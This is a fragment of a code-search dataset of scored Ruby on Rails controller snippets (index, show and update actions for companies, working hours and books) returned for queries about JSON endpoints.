"0.60670763", "text": "def index\n @company_growths = CompanyGrowth.all\n render :json => @company_growths.to_json()\n end", "title": "" }, { "docid": "ad25b541a9838e07b046124ee224be74", "score": "0.60412836", "text": "def index # - the response gives us the id that was injected by the company_scope gem!\n render json: {\n my_company_id: \"#{MyCompany.current_id}\",\n }, status: 200\n end", "title": "" }, { "docid": "23cc3b8302db7bd45a8483ea70774b33", "score": "0.602517", "text": "def get_all_companies \n @companies = Company.all\n \n array = []\n \n @companies.each do |company|\n @element = Hash.new\n @element[\"id\"] = company.user.id\n @element[\"name\"] = company.name\n @element[\"location\"] = company.location.city\n @element[\"description\"] = company.description\n @element[\"web\"] = company.web\n @element[\"phone\"] = company.phone\n @element[\"email\"] = company.user.email\n @element[\"bann\"] = company.user.banned\n @element[\"promoted\"] = company.promoted\n array.push(@element)\n end\n\n render json: {companies: array}\n end", "title": "" }, { "docid": "9ceb4b9bc8b5a4227697de747779f229", "score": "0.60230285", "text": "def index\n @companies = Company.all(:order => :name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end", "title": "" }, { "docid": "351056b088473aaea4c7efc1e1b9331e", "score": "0.6020113", "text": "def index\n @after_hours_accesses = AfterHoursAccess.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @after_hours_accesses }\n end\n end", "title": "" }, { "docid": "0310db1d6d8bcacdc1f01420f25690f2", "score": "0.6006373", "text": "def show\n @company_revenue = CompanyRevenue.find(params[:id])\n\n render json: @company_revenue\n end", "title": "" }, { "docid": "e7005718bfc78f5d7995acd47b9bdf8e", "score": "0.59974104", "text": "def show\n @company = Company.find(params[:id])\n render json: @company\n end", "title": "" }, { "docid": "434c2f30db21e3592f91b780dd9f2f64", "score": "0.59899855", "text": "def index\n @company_users = CompanyUser.all\n render json: @company_users\n end", "title": "" }, { "docid": "e9db6055ee18f7fc5a7f1b6b5385e6ca", "score": "0.5983804", "text": "def index \n #Arbeidstimer for aktuell måned.\n @workdays = Workday.new.get_workdays_by_month(@user, @date, current_user)\n @workday = @workdays.map {|workday| workday[:day]}\n \n #Klargjør statistikk grafen.\n workdays_graph = Workday.new.populate_graph(@user, @date) \n @start = workdays_graph[:start]\n @stop = workdays_graph[:stop]\n \n respond_with do |format|\n format.json {render json: Workday.includes(:workhours).all}\n end\n \n end", "title": "" }, { "docid": "8f539348839ee38f74b3e3500d01b9d6", "score": "0.5976665", "text": "def index\n @company_memberships = CompanyMembership.where(company_id: current_company.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @company_memberships, :meta => {:current_user => current_user, :current_company => current_company} }\n end\n end", "title": "" }, { "docid": "2a6c0f69ccd107416f95f50d5c781b8d", "score": "0.59764856", "text": "def show\n @company = Company.find(params[:id])\n\n render json: @company\n end", "title": "" }, { "docid": "aab201b463e53936cb1e76b4f0e6d3e5", "score": "0.5970471", "text": "def index\n @library_hours = @library_location.library_hours.order(\"day ASC\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @library_hours }\n end\n end", "title": "" }, { "docid": "021e043f33b2cde0e76d872fb63b423b", "score": "0.59565467", "text": "def index\n @content_for_title = \"Мои компании\"\n @companies = @current_user.companies.order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end", "title": "" }, { "docid": "aab58dbdf10851f87b310016e7b993a4", "score": "0.59447646", "text": "def index\n @period_times = PeriodTime.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @period_times }\n end\n end", "title": "" }, { "docid": "da49975ba6495eab4ac0018afc989a1b", "score": "0.59412825", "text": "def index\n # @yearly_detail_years = YearlyDetailYear.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @yearly_detail_years }\n end\n end", "title": "" }, { "docid": "65245d7f1b68a125554932f550fabca9", "score": "0.5939086", "text": "def selected_company\n begin\n companies = Company.find(params[:id])\n rescue\n end\n render :json => [{'company_house_number' => companies.house_number, 'company_street' => companies.street, 'company_colony' => companies.colony, 'company_landmark' => companies.landmark, 'company_city' => companies.city, 'company_zipcode' => companies.zipcode, 'company_state' => companies.state}].to_json\n end", "title": "" }, { "docid": "af4b7fbe3794aed27b65a3e06f5ff724", "score": "0.59380555", "text": "def index\n @coach_employments = CoachEmployment.all.\n includes(:coach, :team).\n where(\"year >= 1973\").\n order(\"coaches.name,year\")\n\n respond_to do |format|\n format.html { render :action => \"index\" }\n format.json { render :json => @coach_employments.as_json(\n :methods => [:coach_name, :team_name]\n )}\n end\n end", "title": "" }, { "docid": "56677706c09859bbcb41c83bf2ed3008", "score": "0.59317774", "text": "def index\n @reimbursements = Reimbursement.chronological\n render json: @reimbursements\n end", "title": "" }, { "docid": "2ab47abf46b4a34884123eac73528fb5", "score": "0.58930725", "text": "def companies!\n mashup(self.class.get(\"/\", :query => method_params('aj.jobs.getCompanies'))).companies.company\n end", "title": "" }, { "docid": "fa616416e43245922b5ca1d1780a77b3", "score": "0.5891297", "text": "def companies_hr_params\n params.fetch(:companies_hr, {})\n end", "title": "" }, { "docid": "cbec40036f2a0bf5aac5ac9b7b5f3f46", "score": "0.5881288", "text": "def index\n @jobs = Job.order(\"created_at DESC\").includes(:company).all\n\n respond_to do |format|\n format.html #index.html.erb\n format.json {render json: @jobs}\n end\n\n end", "title": "" }, { "docid": "ca536612edd0c8522694a5d50f114157", "score": "0.5875131", "text": "def employees_list\n render json: {\n workers: company_employee_list(params[:company_id])\n }\n end", "title": "" }, { "docid": "686593f3710726523e45f215cf46c580", "score": "0.5874629", "text": "def index\n @city_hours = CityHour.all\n end", "title": "" }, { "docid": "60a0697ace991261cfa04ffbc0eb036f", "score": "0.5871215", "text": "def index\n @member_companies = MemberCompany.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: MemberCompany.only(\"name\", \"_id\") } # should move the limited output to API \n end\n end", "title": "" }, { "docid": "e6ca8d152c9deb2293e576ce077cc5a6", "score": "0.58603203", "text": "def index\n @companies = Company.includes(:employees).order(\"LOWER(name)\")\n\n respond_to do |format|\n format.html { render :layout => \"application_fluid\" }\n format.json { render json: @companies }\n end\n end", "title": "" }, { "docid": "cb5e713093aa8ad82ae4331f74a41d3b", "score": "0.58562887", "text": "def index\n @company_profiles = CompanyProfile.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @company_profiles }\n end\n end", "title": "" }, { "docid": "1502a1e0923edda784e810d301a8ddb8", "score": "0.5853059", "text": "def index\n @hours_entries = HoursEntry.all\n end", "title": "" }, { "docid": "61a58d968eb305e5cae4e948d2e90d47", "score": "0.5851234", "text": "def index\n @holidays = Holiday.all\n render json: @holidays\n end", "title": "" }, { "docid": "fa70b539f57f3bfdd8408525948a0779", "score": "0.58500594", "text": "def index\n @time_sheets = (TimeSheet.where(\"planned_holiday_id is not null\") + TimeSheet.joins(:time_frame).order(\"time_frames.from_time\")).uniq\n @date = params[:month] ? Date.parse(params[:month]) : Date.today\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @time_sheets }\n end\n end", "title": "" }, { "docid": "55a5b0a8e7a5b78552246d1464f696d7", "score": "0.58436495", "text": "def index\n users = User.all.where(company_id:nil)\n json_response(users)\n end", "title": "" }, { "docid": "722f9b64b167499bd22c9f64ca411575", "score": "0.5840718", "text": "def index\n @employees = Employee.where(company_id: params[:company_id]).includes(:user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @employees }\n end\n end", "title": "" }, { "docid": "e7afe00203c1bb61070905a16d535f43", "score": "0.5838252", "text": "def index\n @title = \"Страховые компании\"\n @insurance_companies = InsuranceCompany.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @insurance_companies }\n end\n end", "title": "" }, { "docid": "06d065b183eb07d53c431d66535e0aba", "score": "0.583687", "text": "def get_jobs_per_companies\n @companies = Company.all\n \n array = []\n \n @companies.each do |company|\n @element = Hash.new\n @element[\"company\"] = company.name\n @element[\"number\"] = Job.where(company_id: company.id).all.length\n array.push(@element)\n end\n\n return render json: {data: array}\n end", "title": "" }, { "docid": "3c9790c9d545ec4bf0b4a883b6790980", "score": "0.5832951", "text": "def index\n @companies = Company.paginate(:page => params[:page], :per_page => 5)\n arr = Array.new\n @companies.each{ |company|\n arr.push({name: company.name})\n }\n \n respond_to do |format|\n format.html {render json: @companies }#temporary\n format.json { render json: arr }\n end\n end", "title": "" }, { "docid": "3c9790c9d545ec4bf0b4a883b6790980", "score": "0.5832951", "text": "def index\n @companies = Company.paginate(:page => params[:page], :per_page => 5)\n arr = Array.new\n @companies.each{ |company|\n arr.push({name: company.name})\n }\n \n respond_to do |format|\n format.html {render json: @companies }#temporary\n format.json { render json: arr }\n end\n end", "title": "" }, { "docid": "63224b37940bf0972cdaa2cd6ff654d6", "score": "0.5832282", "text": "def index\n @companies = Company.all\n paginate json: @companies\n end", "title": "" }, { "docid": "af6c7b977bb74ef2e02302eb376fb34a", "score": "0.58270234", "text": "def day_hours\n now = Time.now\n if params[:year].nil? and params[:day].nil? and params[:month].nil?\n @year, @month, @day = now.year, now.month, now.day\n else\n @year, @month, @day =\n params[:year].to_i, params[:month].to_i, params[:day].to_i\n end\n @date = Date.new(@year, @month, @day)\n beg = @date.beginning_of_day\n ending = @date.end_of_day\n @hours = WorkTime.where(start_at: beg..ending)\n\n hash = {year: @year, month: @month, day: @day, beginning: beg, ending: ending, hours: @hours}\n respond_to do |format|\n format.json { render json: hash }\n end\n end", "title": "" }, { "docid": "a8cbd642f06149fcd45d972b1bbf54dc", "score": "0.5822079", "text": "def index\n @companies = @klass.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end", "title": "" }, { "docid": "4b670b8392b0c80c095261bde3a57590", "score": "0.58190566", "text": "def index\n @employee_hours = EmployeeHour.all\n end", "title": "" }, { "docid": "d896e268098511e79f27da8d0821b94d", "score": "0.5809255", "text": "def index\n Rack::MiniProfiler.step(\"fetch companies\") do\n @companies = Company.all\n end\n end", "title": "" }, { "docid": "dc91354e291e73ff1f8fb5b1cfb10cb2", "score": "0.58028656", "text": "def index\n @time_sheets = @user.time_sheets\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @time_sheets }\n end\n end", "title": "" }, { "docid": "536911db08e5aab228495362d4ebb205", "score": "0.57946575", "text": "def index\n @operationhours = Operationhour.where(\"maxscheduler_id = ?\", @maxschedulerId)\n @operationhour = Operationhour.new\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @operationhours }\n end\n end", "title": "" }, { "docid": "464547d85980038a7d4e8c15c1b3c49f", "score": "0.57912743", "text": "def show\n @company = Company.find(params[:id])\n @jobs = @company.jobs\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @company }\n end\n end", "title": "" }, { "docid": "f98b912c40bb0f33d3a742584fc33031", "score": "0.5785735", "text": "def index\n @technician_hours = TechnicianHour.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @technician_hours }\n end\n end", "title": "" }, { "docid": "3713f21214f3908b51b0de3bbe846cb0", "score": "0.57849365", "text": "def horses\n @current_tab = \"Meetings\"\n \n sess = Patron::Session.new\n sess.base_url = \"http://online.equipe.com/\"\n #http://online.equipe.com/api/v1/meetings.json\n response = sess.get \"api/v1/meetings/\" + params[:id].to_s + \"/horses.json\"\n @meetings = JSON.parse response.body\n \n \n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @meeting }\n end\n \n end", "title": "" }, { "docid": "10306c067225b13ce3b1dad355f39e15", "score": "0.57760847", "text": "def index\n @production_years = ProductionYear.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @production_years }\n end\n end", "title": "" }, { "docid": "569baaee878af4d2b00e3de1fbd67ef8", "score": "0.577532", "text": "def show\n @periodical = Periodical.find_by_hashed_resource(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @periodical }\n end\n end", "title": "" }, { "docid": "862098fdb55943ceb090168850ccec1a", "score": "0.57720757", "text": "def index\n @companies = Company.page(params[:page])\n\n respond_with(@companies)\n end", "title": "" }, { "docid": "b8c9eca9bc38052fcb5bcea4087df9c2", "score": "0.57599664", "text": "def index\n @hills = Hill.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @hills }\n end\n end", "title": "" }, { "docid": "ebf5fa76da3ab7ed18c6dbdd7d54215c", "score": "0.57571644", "text": "def index\n \t@hr = HumanResource.all\n end", "title": "" }, { "docid": "679f318477e9b55b1101ae0b0580c835", "score": "0.5751255", "text": "def index\n @years = Year.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @years }\n end\n end", "title": "" }, { "docid": "60d8f66442729379b5a7c2e8b157a980", "score": "0.5750877", "text": "def index\n @transporter_companies = TransporterCompany.all\n\n render json: @transporter_companies\n end", "title": "" }, { "docid": "d5820cd2fc1e51dde062bfea26f843f7", "score": "0.574781", "text": "def report\n start_date = '04/13/2014'\n period = 12\n interval = 'month'\n @company_info = all_companies_information\n binding.pry\n @json = company_onethings(start_date,period,interval)\n\tend", "title": "" }, { "docid": "38b67126ce32913e835b49505f4212df", "score": "0.5735809", "text": "def manager_stats_by_hour\n get '/manager/stats/hourly'\n end", "title": "" }, { "docid": "07d15e0680cca8e30f7be0f0a0b4c76c", "score": "0.5728235", "text": "def index\n @worked_holidays = user_capabilities(WorkedHoliday).current_worked\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @worked_holidays }\n end\n end", "title": "" }, { "docid": "d3caefec2877d59746ea40efdcedf56b", "score": "0.5727175", "text": "def company_details\n company_id = params[:company_id]\n company_details = Agent.unscope(where: :is_developer).where(is_developer: true, id: company_id).last\n company_details = company_details.as_json(include: { branches: { include: { employees: {methods: [:active_properties], except: [:password_digest, \n :password, :provider, :uid, :oauth_token, :oauth_expires_at]}}, except: [:verification_hash]}})\n render json: company_details, status: 200\n end", "title": "" }, { "docid": "ff63ed934343e6ae2720fd8e802e09b2", "score": "0.5726294", "text": "def index\n @time_entries = TimeEntry.all\n render :json => @time_entries, status: :ok\n end", "title": "" }, { "docid": "32352d453201e974ac6eca3d5b0aeeb2", "score": "0.5723262", "text": "def index\n @funding_rounds = @company.funding_rounds\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @funding_rounds }\n end\n end", "title": "" }, { "docid": "2254e965be735b7beae359d1da29e0ca", "score": "0.57227945", "text": "def company(company_number)\n get(\"/company/#{company_number}\")\n end", "title": "" }, { "docid": "fc7c29edc8a752f96647e4544260669c", "score": "0.57205105", "text": "def show\n @company_id = params[:id]\n @comp_response = HTTParty.get(\"https://rails-api-ipo.herokuapp.com/api/v1/companies/#{@company_id}.json\")\n @company = {}\n @groups = []\n @company['id']=(@comp_response['id'])\n @company['company_name']=(@comp_response['company_name'])\n @groups = @comp_response['groups']\n end", "title": "" }, { "docid": "f8caaa59d5e232fb5f9834edd8671557", "score": "0.5718789", "text": "def index\n @avaible_hours = AvaibleHour.all\n end", "title": "" }, { "docid": "561a5d0728ccd54f1ab1a0f8cb75dd72", "score": "0.57178724", "text": "def index\n @timeperiods = Timeperiod.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @timeperiods }\n end\n end", "title": "" }, { "docid": "b717c6538e395d4c62d752535a4dfd61", "score": "0.5714335", "text": "def index\n @hour_regimes = HourRegime.all\n end", "title": "" }, { "docid": "3846e0334d987002bd4fd2d58c9e4796", "score": "0.57088476", "text": "def daily_reports_company_all\n @user_company_daily_reports = current_user.company.daily_reports\n \n render json: @user_company_daily_reports \n end", "title": "" }, { "docid": "b2fe4ba478176e4737f01516fd8ff92a", "score": "0.57088476", "text": "def index\n @billable_hours = BillableHour.all\n end", "title": "" }, { "docid": "a300719b628c9f9a325bd848999aa577", "score": "0.57067156", "text": "def index\r\n @periods = Period.all\r\n\r\n render json: @periods\r\n\r\n end", "title": "" }, { "docid": "6c82167613abd1cce35478f12f697345", "score": "0.5703552", "text": "def show\n divisions = Division.find_all_by_company_id(params[:company_id], :select => \"name\")\n data = []\n divisions.each do |p| \n data << p.name\n end\n render :json => data, :status => 200\n end", "title": "" }, { "docid": "2aba877a7321a29b8be7a4918d85e1a2", "score": "0.5695074", "text": "def index\n @games = @game_week.games\n render json: @games\n end", "title": "" }, { "docid": "3b6c8d308545a76ebdce1d0e6106f80f", "score": "0.56887376", "text": "def index\n @company = current_user.companies.find(params[:company_id])\n @reportings = @company.balances.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reportings }\n end\n end", "title": "" }, { "docid": "964cf456c1fa8d0f88e0ef72d48eab27", "score": "0.5670786", "text": "def create\n @companies_hr = CompaniesHr.new(companies_hr_params)\n\n respond_to do |format|\n if @companies_hr.save\n format.html { redirect_to @companies_hr, notice: 'Companies hr was successfully created.' }\n format.json { render :show, status: :created, location: @companies_hr }\n else\n format.html { render :new }\n format.json { render json: @companies_hr.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "090039d050a2448b4b9059e364e58ea2", "score": "0.567", "text": "def index\n @normal_hours = NormalHour.all\n end", "title": "" }, { "docid": "4507ca232e145eeaf9c814459d828d5b", "score": "0.56594604", "text": "def index\n @workhours = Workhour.all\n end", "title": "" }, { "docid": "b80e364e78150e0bfe709080e20408bc", "score": "0.5659068", "text": "def index\n @insurance_companies = InsuranceCompany.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @insurance_companies }\n end\n end", "title": "" }, { "docid": "f0226a99cfa7a6c7451e6efd03f9982a", "score": "0.56588954", "text": "def show\n @holdcompany = Holdcompany.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @holdcompany }\n end\n end", "title": "" }, { "docid": "79f023945b99f978e0ab824b90538aae", "score": "0.56572187", "text": "def incidents_company_all\n @user_company_incidents = current_user.company.incidents\n \n render json: @user_company_incidents \n end", "title": "" } ]
f8a733735ea9ea41999fc4463008fd8b
PATCH/PUT /books/1 PATCH/PUT /books/1.json
[ { "docid": "ecf7fe29bfb03567508197d8f8f362b1", "score": "0.0", "text": "def update\n respond_to do |format|\n @book.availability = @book.is_checked_out\n\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "2e156f2716fdd381bcb0213d3459a7e7", "score": "0.6979014", "text": "def update\n @books = Books.find(params[:id])\n\n respond_to do |format|\n if @books.update_attributes(params[:book])\n format.html { redirect_to @books, :notice => 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @books.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "11099780895f489ab893677a86834ef4", "score": "0.6882316", "text": "def update\n respond_to_update({thing: @book})\n end", "title": "" }, { "docid": "e48618ca14f92c5d9c35ddcf8b4ce613", "score": "0.68485504", "text": "def update\n @book = Book.find(params[:id])\n\n if @book.update(book_params)\n head :no_content\n else\n render json: @book.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "0383f73523e2f5fe2a361c99d02667ea", "score": "0.6836949", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to book_url, :notice => 'Book was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @book.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0c16016df6b8d60320b05b88b7191b56", "score": "0.6831308", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book,\n :notice => 'Book was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @book.errors,\n :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9d131470ed402858fd3314900ef8ff74", "score": "0.68271405", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, :notice => 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @book.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9d131470ed402858fd3314900ef8ff74", "score": "0.68271405", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, :notice => 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @book.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9d131470ed402858fd3314900ef8ff74", "score": "0.68271405", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, :notice => 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @book.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be4fc47d0151eec2cad37dc9bf43e36a", "score": "0.68157864", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to '/', notice: 'Book was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ee0edf4c2dfc340471a7d5443cff6f7", "score": "0.6802083", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ee0edf4c2dfc340471a7d5443cff6f7", "score": "0.6802083", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ee0edf4c2dfc340471a7d5443cff6f7", "score": "0.6802083", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ee0edf4c2dfc340471a7d5443cff6f7", "score": "0.6802083", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ee0edf4c2dfc340471a7d5443cff6f7", "score": "0.6802083", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ee0edf4c2dfc340471a7d5443cff6f7", "score": "0.6802083", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ee0edf4c2dfc340471a7d5443cff6f7", "score": "0.6802083", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ee0edf4c2dfc340471a7d5443cff6f7", "score": "0.6802083", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ee0edf4c2dfc340471a7d5443cff6f7", "score": "0.6802083", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ec0a0f8efb9c1b28c4944995120dcb25", "score": "0.6800069", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ec0a0f8efb9c1b28c4944995120dcb25", "score": "0.6800069", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ec0a0f8efb9c1b28c4944995120dcb25", "score": "0.6800069", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ec0a0f8efb9c1b28c4944995120dcb25", "score": "0.6800069", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ec0a0f8efb9c1b28c4944995120dcb25", "score": "0.6800069", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bef612ee6083ef477e44c15b1f82a39a", "score": "0.67967796", "text": "def update\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n\n format.html { redirect_to @book, notice: 'book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8085677f4139dc8a3a1e382d033b1266", "score": "0.6773371", "text": "def update\n @book = Book.update_attributes(params[:id], params[:book])\n respond_with(@book)\n end", "title": "" }, { "docid": "ab59e0e9770eb59a7978d46f9bfa20de", "score": "0.6738743", "text": "def update\n @book = Book.find(params[:id])\n @book.update_attributes(params[:book])\n respond_with(@book)\n end", "title": "" }, { "docid": "60ce6b8156b5b1e0c1c189618d533a8e", "score": "0.67312974", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "60ce6b8156b5b1e0c1c189618d533a8e", "score": "0.67312974", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "60ce6b8156b5b1e0c1c189618d533a8e", "score": "0.67312974", "text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b124337527ebe4831166325221ccf17", "score": "0.67084", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b124337527ebe4831166325221ccf17", "score": "0.67084", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b124337527ebe4831166325221ccf17", "score": "0.67084", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, 